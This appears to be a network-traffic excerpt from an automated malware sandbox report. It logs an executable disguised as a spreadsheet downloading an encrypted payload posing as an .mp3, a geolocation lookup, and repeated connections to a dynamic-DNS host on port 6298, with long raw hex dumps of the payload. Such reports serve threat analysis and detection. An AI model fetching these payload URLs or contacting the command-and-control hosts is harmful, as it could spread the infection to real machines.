                                                                                                    Dec 3, 2024 15:09:02.481206894 CET49777443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:09:02.484095097 CET44349777185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:09:02.484165907 CET49777443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:09:02.486293077 CET44349777185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:09:02.486368895 CET49777443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:09:02.486377001 CET44349777185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:09:02.486401081 CET44349777185.78.221.73192.168.2.9
                                                                                                    Dec 3, 2024 15:09:02.486452103 CET49777443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:09:02.489135027 CET49777443192.168.2.9185.78.221.73
                                                                                                    Dec 3, 2024 15:09:21.924664974 CET497596298192.168.2.969.174.99.131
                                                                                                    Dec 3, 2024 15:09:22.044641972 CET62984975969.174.99.131192.168.2.9
                                                                                                    Dec 3, 2024 15:09:47.049820900 CET497596298192.168.2.969.174.99.131
                                                                                                    Dec 3, 2024 15:09:47.171777010 CET62984975969.174.99.131192.168.2.9
                                                                                                    Dec 3, 2024 15:10:12.174848080 CET497596298192.168.2.969.174.99.131
                                                                                                    Dec 3, 2024 15:10:12.295891047 CET62984975969.174.99.131192.168.2.9
                                                                                                    Dec 3, 2024 15:10:37.299843073 CET497596298192.168.2.969.174.99.131
                                                                                                    Dec 3, 2024 15:10:37.419867992 CET62984975969.174.99.131192.168.2.9

                                                                                                    UDP Packets

                                                                                                    TimestampSource PortDest PortSource IPDest IP
                                                                                                    Dec 3, 2024 15:08:27.886611938 CET5192653192.168.2.91.1.1.1
                                                                                                    Dec 3, 2024 15:08:28.877918005 CET5192653192.168.2.91.1.1.1
                                                                                                    Dec 3, 2024 15:08:28.985143900 CET53519261.1.1.1192.168.2.9
                                                                                                    Dec 3, 2024 15:08:29.285681963 CET53519261.1.1.1192.168.2.9
                                                                                                    Dec 3, 2024 15:08:48.378254890 CET5768753192.168.2.91.1.1.1
                                                                                                    Dec 3, 2024 15:08:48.875705004 CET53576871.1.1.1192.168.2.9
                                                                                                    Dec 3, 2024 15:08:52.844819069 CET5496453192.168.2.91.1.1.1
                                                                                                    Dec 3, 2024 15:08:52.983063936 CET53549641.1.1.1192.168.2.9

                                                                                                    DNS Queries

                                                                                                    TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                    Dec 3, 2024 15:08:27.886611938 CET192.168.2.91.1.1.10x35b0Standard query (0)www.oleonidas.grA (IP address)IN (0x0001)false
                                                                                                    Dec 3, 2024 15:08:28.877918005 CET192.168.2.91.1.1.10x35b0Standard query (0)www.oleonidas.grA (IP address)IN (0x0001)false
                                                                                                    Dec 3, 2024 15:08:48.378254890 CET192.168.2.91.1.1.10x3dc1Standard query (0)ert43w221.ydns.euA (IP address)IN (0x0001)false
                                                                                                    Dec 3, 2024 15:08:52.844819069 CET192.168.2.91.1.1.10xfcedStandard query (0)ipwho.isA (IP address)IN (0x0001)false

                                                                                                    DNS Answers

                                                                                                    TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                    Dec 3, 2024 15:08:23.810862064 CET1.1.1.1192.168.2.90x32f0No error (0)shed.dual-low.s-part-0035.t-0009.t-msedge.nets-part-0035.t-0009.t-msedge.netCNAME (Canonical name)IN (0x0001)false
                                                                                                    Dec 3, 2024 15:08:23.810862064 CET1.1.1.1192.168.2.90x32f0No error (0)s-part-0035.t-0009.t-msedge.net13.107.246.63A (IP address)IN (0x0001)false
                                                                                                    Dec 3, 2024 15:08:28.985143900 CET1.1.1.1192.168.2.90x35b0No error (0)www.oleonidas.groleonidas.grCNAME (Canonical name)IN (0x0001)false
                                                                                                    Dec 3, 2024 15:08:28.985143900 CET1.1.1.1192.168.2.90x35b0No error (0)oleonidas.gr185.78.221.73A (IP address)IN (0x0001)false
                                                                                                    Dec 3, 2024 15:08:29.285681963 CET1.1.1.1192.168.2.90x35b0No error (0)www.oleonidas.groleonidas.grCNAME (Canonical name)IN (0x0001)false
                                                                                                    Dec 3, 2024 15:08:29.285681963 CET1.1.1.1192.168.2.90x35b0No error (0)oleonidas.gr185.78.221.73A (IP address)IN (0x0001)false
                                                                                                    Dec 3, 2024 15:08:48.875705004 CET1.1.1.1192.168.2.90x3dc1No error (0)ert43w221.ydns.eu69.174.99.131A (IP address)IN (0x0001)false
                                                                                                    Dec 3, 2024 15:08:50.918714046 CET1.1.1.1192.168.2.90x7884No error (0)edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.comdefault.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.comCNAME (Canonical name)IN (0x0001)false
                                                                                                    Dec 3, 2024 15:08:50.918714046 CET1.1.1.1192.168.2.90x7884No error (0)default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com84.201.208.99A (IP address)IN (0x0001)false
                                                                                                    Dec 3, 2024 15:08:50.918714046 CET1.1.1.1192.168.2.90x7884No error (0)default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com217.20.56.101A (IP address)IN (0x0001)false
                                                                                                    Dec 3, 2024 15:08:50.918714046 CET1.1.1.1192.168.2.90x7884No error (0)default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com84.201.208.106A (IP address)IN (0x0001)false
                                                                                                    Dec 3, 2024 15:08:50.918714046 CET1.1.1.1192.168.2.90x7884No error (0)default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com84.201.211.18A (IP address)IN (0x0001)false
                                                                                                    Dec 3, 2024 15:08:50.918714046 CET1.1.1.1192.168.2.90x7884No error (0)default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com217.20.59.34A (IP address)IN (0x0001)false
                                                                                                    Dec 3, 2024 15:08:50.918714046 CET1.1.1.1192.168.2.90x7884No error (0)default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com84.201.208.70A (IP address)IN (0x0001)false
                                                                                                    Dec 3, 2024 15:08:50.918714046 CET1.1.1.1192.168.2.90x7884No error (0)default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com84.201.211.22A (IP address)IN (0x0001)false
                                                                                                    Dec 3, 2024 15:08:50.918714046 CET1.1.1.1192.168.2.90x7884No error (0)default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com217.20.56.98A (IP address)IN (0x0001)false
                                                                                                    Dec 3, 2024 15:08:52.983063936 CET1.1.1.1192.168.2.90xfcedNo error (0)ipwho.is103.126.138.87A (IP address)IN (0x0001)false

                                                                                                    HTTP Request Dependency Graph

                                                                                                    • www.oleonidas.gr
                                                                                                    • ipwho.is

                                                                                                    HTTPS Proxied Packets

                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                    0192.168.2.949712185.78.221.734437488C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe
                                                                                                    TimestampBytes transferredDirectionData
                                                                                                    2024-12-03 14:08:30 UTC86OUTGET /elioz/Ncvotkdidv.mp3 HTTP/1.1
                                                                                                    Host: www.oleonidas.gr
                                                                                                    Connection: Keep-Alive
                                                                                                    2024-12-03 14:08:31 UTC300INHTTP/1.1 200 OK
                                                                                                    Date: Tue, 03 Dec 2024 14:08:31 GMT
                                                                                                    Server: Apache
                                                                                                    Last-Modified: Tue, 03 Dec 2024 06:43:12 GMT
                                                                                                    Accept-Ranges: bytes
                                                                                                    Content-Length: 2128392
                                                                                                    Cache-Control: max-age=1209600
                                                                                                    Expires: Tue, 17 Dec 2024 14:08:31 GMT
                                                                                                    Vary: User-Agent
                                                                                                    Connection: close
                                                                                                    Content-Type: audio/mpeg
                                                                                                    2024-12-03 14:08:31 UTC7892INData Raw: 10 3a 9f b2 1a e3 48 00 7f 76 e7 8d b3 95 66 ec e1 ce 8a b9 3d 2c e9 7c 62 e9 10 8c a3 51 25 41 3d 7d 5d c7 1d 28 5f bd 24 84 f1 82 e2 f5 15 bd c7 f7 4d 45 ae 61 fa fb 95 32 c4 9f 1f e2 52 4f 79 be db 83 51 cc 05 54 9b a4 40 e1 c9 d1 b7 dd b1 14 57 60 d2 ce 14 83 d1 6d 52 30 41 0f f1 38 43 04 e9 cf ac db 4b bc 9a 68 78 ec 72 7d b4 35 00 7b a8 a0 c9 f4 fd 3c c5 c1 1f 13 9f a8 c0 0f 38 55 fb 34 9c f7 c9 10 6d 39 10 44 53 55 ac 4d 74 87 8a b1 a5 67 e4 cc 26 69 fd e1 e6 4a 58 1a 05 a8 d3 de c1 46 24 15 23 18 56 36 21 a9 85 7c 04 e3 30 09 f3 e2 a5 0b 23 39 89 fc 3e 8c 8c 97 99 29 cf 98 59 8f 55 75 be 1a 86 3d 34 1f f5 3f 1f 54 99 ce 10 31 c7 59 10 cf 62 92 19 cd a4 97 34 f3 49 18 0e 7a e9 22 46 d9 9c 37 94 56 57 e8 c7 c2 90 45 ed c7 f4 f1 0c be f1 ac ee 74 ae
                                                                                                    Data Ascii: :Hvf=,|bQ%A=}](_$MEa2ROyQT@W`mR0A8CKhxr}5{<8U4m9DSUMtg&iJXF$#V6!|0#9>)YUu=4?T1Yb4Iz"F7VWEt
                                                                                                    2024-12-03 14:08:31 UTC8000INData Raw: 09 02 6d 48 47 1d 93 a3 0e e1 d1 bf 24 25 2c d3 e8 8c 4b e6 48 71 b2 8f a5 05 5a 58 cb 3f ef 3c dd e7 e4 ea b2 3c 94 3e 9f 83 f2 b9 fc 26 f6 d7 db dd 1e f4 54 7f dd b7 aa b9 39 88 ee 7f c9 33 87 1e 4a 23 f7 0f 68 86 0b b9 d0 12 38 4b 33 25 cb 3f ff 0c ec b9 f7 d5 be d6 82 cb eb 91 bc b4 e2 c3 c6 a4 33 df a9 c0 29 19 08 b0 bf 3e 7d 58 13 d1 4c 57 25 f8 1b c6 bd 95 d1 15 13 87 08 b2 b0 bc 18 ad bd 4e ec f3 d4 27 fb 83 36 69 59 6f ed 8a 3e b8 c2 ae ee 1f b0 bc a3 1f 97 42 a6 38 e8 f6 87 14 a5 99 69 a1 22 2e 33 d5 e1 9d 27 8d f7 c8 a7 f3 e5 54 a4 7c 8d 52 ad 16 01 12 64 47 da ee ed da 6a 6d 4c 9b de 69 b3 47 cc 86 a7 e5 81 55 04 fe e2 67 1e 26 55 42 0b c2 17 26 8c 64 21 e3 53 6f 1a 00 9a c8 7a ca a1 44 de a1 35 91 6b bc 9b 05 c9 cb 42 65 14 bf 2a 70 20 76 85
                                                                                                    Data Ascii: mHG$%,KHqZX?<<>&T93J#h8K3%?3)>}XLW%N'6iYo>B8i".3'T|RdGjmLiGUg&UB&d!SozD5kBe*p v
                                                                                                    2024-12-03 14:08:31 UTC8000INData Raw: 31 8b 24 14 1e 61 40 8c 9e 57 e6 f8 64 03 93 03 e8 86 20 70 e5 fc cb 6f 49 85 e6 f4 60 a1 01 cf 0f d7 a5 a8 4b 78 b7 29 fd 71 10 f3 98 14 95 54 f1 e5 c5 23 a6 5c 3a df ca 0d 3a e9 55 12 62 48 9f 8e 00 37 74 55 06 25 28 75 9f 2e 05 2f ca 93 50 58 af 6b 36 84 2b e4 78 73 8e c0 04 6a f9 55 1c 35 c0 f4 73 50 af ce 39 d2 89 e4 3a 20 a8 f0 93 9e 6f f0 6a 17 58 17 dc fe 41 9f cd 43 bf 8f d9 9c 2a 5d 78 79 71 ae f4 b1 66 bc ef d0 47 94 14 e1 72 ab 6d aa 9e 41 eb 73 81 37 07 b4 85 df f2 81 ce 88 b4 6e ba d8 b9 af f5 61 32 31 f4 24 a6 16 de e4 2b f0 8b 3e 62 bd 73 84 45 69 77 f7 59 a5 b5 f7 36 77 fb 33 f6 ec 8f b5 83 ca 5c 0b ac e0 49 b7 39 14 84 49 54 85 ab 66 a2 ba db 68 c9 65 9e 15 f9 74 76 cb f6 08 6a 63 f4 cb 7f 3a ac cc b9 73 14 17 57 fe a8 f4 bd 82 aa 0a 10
                                                                                                    Data Ascii: 1$a@Wd poI`Kx)qT#\::UbH7tU%(u./PXk6+xsjU5sP9: ojXAC*]xyqfGrmAs7na21$+>bsEiwY6w3\I9ITfhetvjc:sW
                                                                                                    2024-12-03 14:08:31 UTC8000INData Raw: b4 b3 3e b0 ab 26 81 e6 64 8e 2a c3 a4 8f 83 19 04 a5 41 de 7e fc 32 a4 89 38 16 89 c7 fd f2 bb 40 53 d6 8d 02 a2 9e fa 74 cb da 53 87 54 08 5a e7 e1 28 0d f3 47 2a 2e bc 19 b1 fc c0 88 98 bc 9d 4b 04 f8 05 23 b5 30 d4 7e 3c 1c eb 40 42 ad 22 04 16 c1 86 dc 8b 49 d5 74 ea 48 45 07 5b 1a fb 1f c9 96 17 3e f6 7b 81 57 ea f5 27 e9 19 a0 bd 51 bb d3 ba 73 ed a7 03 27 51 6f f4 c3 58 3b 77 f2 80 4b fb 62 83 d2 c5 41 02 2e e3 c5 3f a8 7a a4 5a 24 af 6f 71 b1 08 51 31 a4 4c 12 b9 53 98 14 a6 18 48 b1 d3 86 b0 44 0d a1 f2 9f e1 40 c4 67 10 54 f0 c0 1f 33 1b f4 02 dc 6f 5a 35 60 af 3c b1 91 7c bf fd 0a 67 af 29 12 98 14 9f d5 05 39 1e 38 da 5e b2 12 92 92 cb 9e 11 40 db 63 c4 95 ed 99 fe 13 20 e1 c8 e9 62 4a 30 d2 a7 bb 14 e2 d7 37 78 dc 05 d0 69 02 8e 49 58 18 f4
                                                                                                    Data Ascii: >&d*A~28@StSTZ(G*.K#0~<@B"ItHE[>{W'Qs'QoX;wKbA.?zZ$oqQ1LSHD@gT3oZ5`<|g)98^@c bJ07xiIX
                                                                                                    2024-12-03 14:08:31 UTC8000INData Raw: c3 f6 42 90 ea 1c 1e ea 9d 48 c9 17 a5 aa 7d 48 c5 df b8 e3 20 5a 50 ca 89 4c 6b 61 d9 ba 5d 1b 1a 89 c1 fb e7 e3 29 60 c8 52 28 6b 15 32 6b ff 6f 63 9a d6 92 ec 14 bb db a6 6c 6a ac 54 14 2f 5a db 4e e6 bc 8b ce 0b 8d e5 0d 78 2f fd bd 84 69 9f 16 7e 02 69 3a 4d 5a 99 5f 3c fe 93 9e e7 77 98 44 1c 8b 83 b1 e0 47 6d 80 6e d6 8e e0 79 21 ff dc 5f 33 70 19 d2 bd 8c 1e cd e3 b2 3c f0 1e 8a 0e 38 60 b8 de 3f d9 d9 c9 8a 4b 39 4f 7b 06 ef bb 1e 89 9f b6 85 1c f8 6b 9f 53 d7 a0 7e 6b 77 f1 8c a2 33 e8 52 5d 6c 91 d9 d6 ec 91 3c 9e d6 49 ce 5a 3f 4d 0b c4 82 72 13 35 7b da f1 50 c5 2c 91 c3 66 06 60 92 ad 07 45 0c 92 50 8c 18 56 63 13 5f 2f 87 ff cc 72 85 34 2e bc bb 5e 30 86 4f c0 e7 bf 0a f9 f6 84 62 08 06 f1 e7 db a9 66 50 b7 09 21 20 c3 26 93 5e 86 49 87 f9
                                                                                                    Data Ascii: BH}H ZPLka])`R(k2kocljT/ZNx/i~i:MZ_<wDGmny!_3p<8`?K9O{kS~kw3R]l<IZ?Mr5{P,f`EPVc_/r4.^0ObfP! &^I
                                                                                                    2024-12-03 14:08:31 UTC8000INData Raw: b3 0e 36 42 40 b3 e9 c2 78 d4 75 68 08 85 b7 11 11 81 0a 9e 2b a0 ba 36 24 ea 76 49 d6 e7 61 96 29 8c ef 21 8a 36 a3 3b f4 a9 7f 23 a0 5d c1 51 3f 27 71 f7 fc d2 2a 50 ab ad 78 87 5a 52 70 42 e6 d8 88 12 07 2e 25 af 7a 05 15 36 cf af 55 59 44 54 ec 91 a7 15 46 bc c8 fa e6 13 a5 4a 57 78 e4 de 6b 4c 98 d5 cc fe 51 a9 9f 7d 0b 76 9c 52 c9 95 9d a9 28 72 59 a7 d5 47 cd 9d ba 34 bb 4b 13 fb 46 7b e2 56 3d 99 79 b5 29 49 07 c1 e7 79 41 5e 54 17 d7 d9 57 06 48 f7 0d d3 8a 4a 3a 7f a4 75 d5 78 2d 95 13 8b ab 78 64 0c af 11 91 8c 3b db 89 91 4b 13 b2 88 41 37 68 f3 6a 57 12 0b ab 76 50 b8 13 4d 5c df e7 ef 6e b6 df b8 6b 35 91 f2 72 92 45 09 7d 25 75 9d b8 cd 3f c0 7e 81 1d 6f 52 36 17 ff 62 5b 7f 55 8e 54 a7 9c 4c fc 99 71 68 52 da bf ef 78 b9 b6 ad 6c 51 80 ed
                                                                                                    Data Ascii: 6B@xuh+6$vIa)!6;#]Q?'q*PxZRpB.%z6UYDTFJWxkLQ}vR(rYG4KF{V=y)IyA^TWHJ:ux-xd;KA7hjWvPM\nk5rE}%u?~oR6b[UTLqhRxlQ
                                                                                                    2024-12-03 14:08:31 UTC8000INData Raw: 69 2b a9 62 44 0b 49 5f e6 a2 2c 1a 3a 90 1e 18 1b 7d a4 60 ef 75 75 f6 08 c0 59 c1 75 5d 7f 95 83 61 31 d6 16 4f 5f 4e 8d 76 0b 57 06 c9 2c 8e 30 2c 3b eb 4f 6b f0 4d ee d7 9e 2b 2e 4d 96 e4 00 a6 c1 1c fc 91 ba e4 71 a0 51 a5 f3 90 26 f9 19 42 8d 3d 98 2e e9 72 4b 2b f6 7a 46 9c 67 6e 56 1d 9e f4 20 bd d7 54 85 ce fb 7a f9 a0 05 c5 0a de 6c 13 17 13 3f 94 b2 f3 ad 56 d0 fe 82 65 e0 cc 50 bc e1 69 1c c5 70 4c 60 5f 2f 33 da fe 33 2f 5d c4 4c 52 d2 0b 79 f8 08 83 b2 45 0d 3e 4c 89 db 2e a1 ed 33 56 b3 8d 4f 7c e9 eb b7 0a e7 91 a2 bb b5 9c 38 5f 25 73 db 20 e4 4c 2e b8 fb 46 99 91 09 6c 0e e1 aa d2 9b 4f 61 ce da 23 77 9b a6 9d 30 07 22 22 3c ea 1a 24 0d 52 4a c5 64 f2 39 1a 6c 76 cb 61 f9 53 28 0f 11 53 eb 3a 6e c8 d1 2c f1 ac 07 4f 1c c5 4d cf c9 e5 ca
                                                                                                    Data Ascii: i+bDI_,:}`uuYu]a1O_NvW,0,;OkM+.MqQ&B=.rK+zFgnV Tzl?VePipL`_/33/]LRyE>L.3VO|8_%s L.FlOa#w0""<$RJd9lvaS(S:n,OM
                                                                                                    2024-12-03 14:08:31 UTC8000INData Raw: e0 72 77 31 e9 e9 e4 83 9a 27 cd 0e c3 a0 a4 87 7f a2 31 b6 ca 35 e2 6f 7b 11 fc ec f8 9d 40 d1 40 8b d5 3c 46 dd 5e b4 6a 2b be d3 36 cd b9 21 3f fc a3 ab a3 19 16 43 ec cf f3 9e b5 b0 5e 7e 0e 10 eb c3 68 72 2f f2 4f 6d 55 be ea 63 a3 c1 a1 55 30 41 0b 18 df eb c2 6b fe 2d c8 73 dd 2b 6c 6d 1c 0a 1b b2 b4 fe c7 27 f3 69 b3 43 f5 6c af 7b ca 02 08 92 a7 ba cd 66 0f d1 e3 1c 3a f7 30 34 aa 1b eb 6a d5 fb 9a 04 22 4a 51 89 e0 41 e4 58 b6 30 9d 99 74 1a 63 74 7d 29 67 f8 e6 f9 c8 dc 5b 0f 81 04 9e de 52 7d fd d4 00 69 a9 07 35 1e 9c a8 7a a8 54 3e 21 07 bb be 09 14 78 42 c7 5c 06 c4 4e 2f 5b 07 da ed c4 34 b5 94 bf 65 52 f8 b9 83 5b a6 58 31 61 11 ab be dc 27 51 97 14 62 04 12 19 e4 6e b6 8e 51 91 b8 3f d4 da 22 33 b5 7e 68 b3 96 9d 61 66 ce 9a 47 70 df da
                                                                                                    Data Ascii: rw1'15o{@@<F^j+6!?C^~hr/OmUcU0Ak-s+lm'iCl{f:04j"JQAX0tct})g[R}i5zT>!xB\N/[4eR[X1a'QbnQ?"3~hafGp
                                                                                                    2024-12-03 14:08:31 UTC8000INData Raw: f4 f3 7f a1 5c 24 21 36 bb 7b 7a 9f 40 10 85 c7 88 07 21 c8 bf 24 64 9e d8 d0 3f 4b 99 c4 ec 63 60 8a 55 0d 0f 0b d8 4f 9c 0e e0 d0 2a 1f 25 90 ab 36 43 a0 cf c8 87 80 66 7b ae d0 a5 12 d1 a6 fb fe b8 26 45 ef 53 9f b3 30 4b 12 4b 98 d8 23 79 04 72 ec 29 f5 06 3f 82 83 1d 5f 43 e5 bf b7 dd 13 6e 13 51 9c 60 5d f1 bb f6 46 88 c5 74 66 67 d1 5d 1a d1 09 b0 03 b0 16 a0 dc d2 e9 26 95 74 3f 95 ba 91 bb 7b 9b 2f 90 3b 56 27 6b 81 39 fe ca 35 50 5c 42 25 07 00 7d d9 bc 19 dd 58 cb 5e 1c 59 0e e1 64 7d 3c 6b eb 3a f1 b1 6d 52 7a d6 8d 89 b1 f3 84 19 47 79 8f ea cc 2c 27 9e 0c bc 97 b5 43 9a f1 53 0a 92 98 e1 f7 81 b5 95 29 bd 3a db 6a f4 62 bd 0e 28 3e 18 4b fb 57 b3 df 2c 0a f8 30 14 99 b4 3d d4 4f af 9a dc b7 18 6a 91 2c e9 e2 77 ac 5e cd 8c e6 b2 14 94 81 18
                                                                                                    Data Ascii: \$!6{z@!$d?Kc`UO*%6Cf{&ES0KK#yr)?_CnQ`]Ftfg]&t?{/;V'k95P\B%}X^Yd}<k:mRzGy,'CS):jb(>KW,0=Oj,w^
                                                                                                    2024-12-03 14:08:31 UTC8000INData Raw: 71 5f c8 38 f9 35 40 23 ab 1d f6 dd 49 8e 2c 79 7b 1a 98 cb 41 78 17 c0 61 27 c5 d7 74 39 6a 49 f3 2f 5d 68 ba aa dd 6e e3 7a e1 6e 2c db 30 0d c8 a9 7c e3 b4 f5 a9 00 25 b5 e0 f9 bf 15 3c 4f 24 39 a2 e7 87 7a 7a 3d ec 08 de 88 76 6c 58 fb 67 c1 06 40 4d 27 b0 2a ee 00 fd 6c f7 37 1c d5 48 4d d4 ca c1 72 b2 14 30 8b e5 73 3c e0 73 54 20 f3 d1 ae e1 d2 c0 2b 20 18 d0 89 73 ba 35 e8 70 e0 d6 bf 30 eb 27 05 27 47 70 3e 47 a1 33 f9 25 f0 37 45 95 ae 0f dd 6f e0 cf 17 15 d4 0d a2 c0 57 f2 15 80 e1 9b c9 25 4e c1 60 b9 75 06 cf 00 8e 0c 4a fd 3d 0a 43 3f 55 51 a8 4a 99 00 21 b1 b0 8d 71 0d ff 58 d8 35 62 e9 72 92 e5 a5 63 be 10 d1 5c a9 bf d0 14 e4 29 f8 2e 84 9f 4b 74 80 9b c2 f8 27 1b aa 25 9e f0 24 e6 8e 16 6a 97 19 c0 05 a0 8c 2e 37 00 cc 20 97 cc e5 87 17
                                                                                                    Data Ascii: q_85@#I,y{Axa't9jI/]hnzn,0|%<O$9zz=vlXg@M'*l7HMr0s<sT + s5p0''Gp>G3%7EoW%N`uJ=C?UQJ!qX5brc\).Kt'%$j.7


                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                    1192.168.2.949771103.126.138.874437792C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
                                                                                                    TimestampBytes transferredDirectionData
                                                                                                    2024-12-03 14:08:55 UTC150OUTGET / HTTP/1.1
                                                                                                    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
                                                                                                    Host: ipwho.is
                                                                                                    Connection: Keep-Alive
                                                                                                    2024-12-03 14:08:55 UTC223INHTTP/1.1 200 OK
                                                                                                    Date: Tue, 03 Dec 2024 14:08:55 GMT
                                                                                                    Content-Type: application/json; charset=utf-8
                                                                                                    Transfer-Encoding: chunked
                                                                                                    Connection: close
                                                                                                    Server: ipwhois
                                                                                                    Access-Control-Allow-Headers: *
                                                                                                    X-Robots-Tag: noindex
                                                                                                    2024-12-03 14:08:55 UTC1021INData Raw: 33 66 31 0d 0a 7b 0a 20 20 20 20 22 41 62 6f 75 74 20 55 73 22 3a 20 22 68 74 74 70 73 3a 5c 2f 5c 2f 69 70 77 68 6f 69 73 2e 69 6f 22 2c 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 32 32 38 22 2c 0a 20 20 20 20 22 73 75 63 63 65 73 73 22 3a 20 74 72 75 65 2c 0a 20 20 20 20 22 74 79 70 65 22 3a 20 22 49 50 76 34 22 2c 0a 20 20 20 20 22 63 6f 6e 74 69 6e 65 6e 74 22 3a 20 22 4e 6f 72 74 68 20 41 6d 65 72 69 63 61 22 2c 0a 20 20 20 20 22 63 6f 6e 74 69 6e 65 6e 74 5f 63 6f 64 65 22 3a 20 22 4e 41 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f
                                                                                                    Data Ascii: 3f1{ "About Us": "https:\/\/ipwhois.io", "ip": "8.46.123.228", "success": true, "type": "IPv4", "continent": "North America", "continent_code": "NA", "country": "United States", "country_code": "US", "region": "New Yo


                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                    2192.168.2.949777185.78.221.734437996C:\Users\user\AppData\Roaming\RealErrorObject.exe
                                                                                                    TimestampBytes transferredDirectionData
                                                                                                    2024-12-03 14:08:58 UTC86OUTGET /elioz/Ncvotkdidv.mp3 HTTP/1.1
                                                                                                    Host: www.oleonidas.gr
                                                                                                    Connection: Keep-Alive
                                                                                                    2024-12-03 14:08:58 UTC300INHTTP/1.1 200 OK
                                                                                                    Date: Tue, 03 Dec 2024 14:08:58 GMT
                                                                                                    Server: Apache
                                                                                                    Last-Modified: Tue, 03 Dec 2024 06:43:12 GMT
                                                                                                    Accept-Ranges: bytes
                                                                                                    Content-Length: 2128392
                                                                                                    Cache-Control: max-age=1209600
                                                                                                    Expires: Tue, 17 Dec 2024 14:08:58 GMT
                                                                                                    Vary: User-Agent
                                                                                                    Connection: close
                                                                                                    Content-Type: audio/mpeg
                                                                                                    2024-12-03 14:08:58 UTC7892INData Raw: 10 3a 9f b2 1a e3 48 00 7f 76 e7 8d b3 95 66 ec e1 ce 8a b9 3d 2c e9 7c 62 e9 10 8c a3 51 25 41 3d 7d 5d c7 1d 28 5f bd 24 84 f1 82 e2 f5 15 bd c7 f7 4d 45 ae 61 fa fb 95 32 c4 9f 1f e2 52 4f 79 be db 83 51 cc 05 54 9b a4 40 e1 c9 d1 b7 dd b1 14 57 60 d2 ce 14 83 d1 6d 52 30 41 0f f1 38 43 04 e9 cf ac db 4b bc 9a 68 78 ec 72 7d b4 35 00 7b a8 a0 c9 f4 fd 3c c5 c1 1f 13 9f a8 c0 0f 38 55 fb 34 9c f7 c9 10 6d 39 10 44 53 55 ac 4d 74 87 8a b1 a5 67 e4 cc 26 69 fd e1 e6 4a 58 1a 05 a8 d3 de c1 46 24 15 23 18 56 36 21 a9 85 7c 04 e3 30 09 f3 e2 a5 0b 23 39 89 fc 3e 8c 8c 97 99 29 cf 98 59 8f 55 75 be 1a 86 3d 34 1f f5 3f 1f 54 99 ce 10 31 c7 59 10 cf 62 92 19 cd a4 97 34 f3 49 18 0e 7a e9 22 46 d9 9c 37 94 56 57 e8 c7 c2 90 45 ed c7 f4 f1 0c be f1 ac ee 74 ae
                                                                                                    Data Ascii: :Hvf=,|bQ%A=}](_$MEa2ROyQT@W`mR0A8CKhxr}5{<8U4m9DSUMtg&iJXF$#V6!|0#9>)YUu=4?T1Yb4Iz"F7VWEt
                                                                                                    2024-12-03 14:08:58 UTC8000INData Raw: 09 02 6d 48 47 1d 93 a3 0e e1 d1 bf 24 25 2c d3 e8 8c 4b e6 48 71 b2 8f a5 05 5a 58 cb 3f ef 3c dd e7 e4 ea b2 3c 94 3e 9f 83 f2 b9 fc 26 f6 d7 db dd 1e f4 54 7f dd b7 aa b9 39 88 ee 7f c9 33 87 1e 4a 23 f7 0f 68 86 0b b9 d0 12 38 4b 33 25 cb 3f ff 0c ec b9 f7 d5 be d6 82 cb eb 91 bc b4 e2 c3 c6 a4 33 df a9 c0 29 19 08 b0 bf 3e 7d 58 13 d1 4c 57 25 f8 1b c6 bd 95 d1 15 13 87 08 b2 b0 bc 18 ad bd 4e ec f3 d4 27 fb 83 36 69 59 6f ed 8a 3e b8 c2 ae ee 1f b0 bc a3 1f 97 42 a6 38 e8 f6 87 14 a5 99 69 a1 22 2e 33 d5 e1 9d 27 8d f7 c8 a7 f3 e5 54 a4 7c 8d 52 ad 16 01 12 64 47 da ee ed da 6a 6d 4c 9b de 69 b3 47 cc 86 a7 e5 81 55 04 fe e2 67 1e 26 55 42 0b c2 17 26 8c 64 21 e3 53 6f 1a 00 9a c8 7a ca a1 44 de a1 35 91 6b bc 9b 05 c9 cb 42 65 14 bf 2a 70 20 76 85
                                                                                                    Data Ascii: mHG$%,KHqZX?<<>&T93J#h8K3%?3)>}XLW%N'6iYo>B8i".3'T|RdGjmLiGUg&UB&d!SozD5kBe*p v
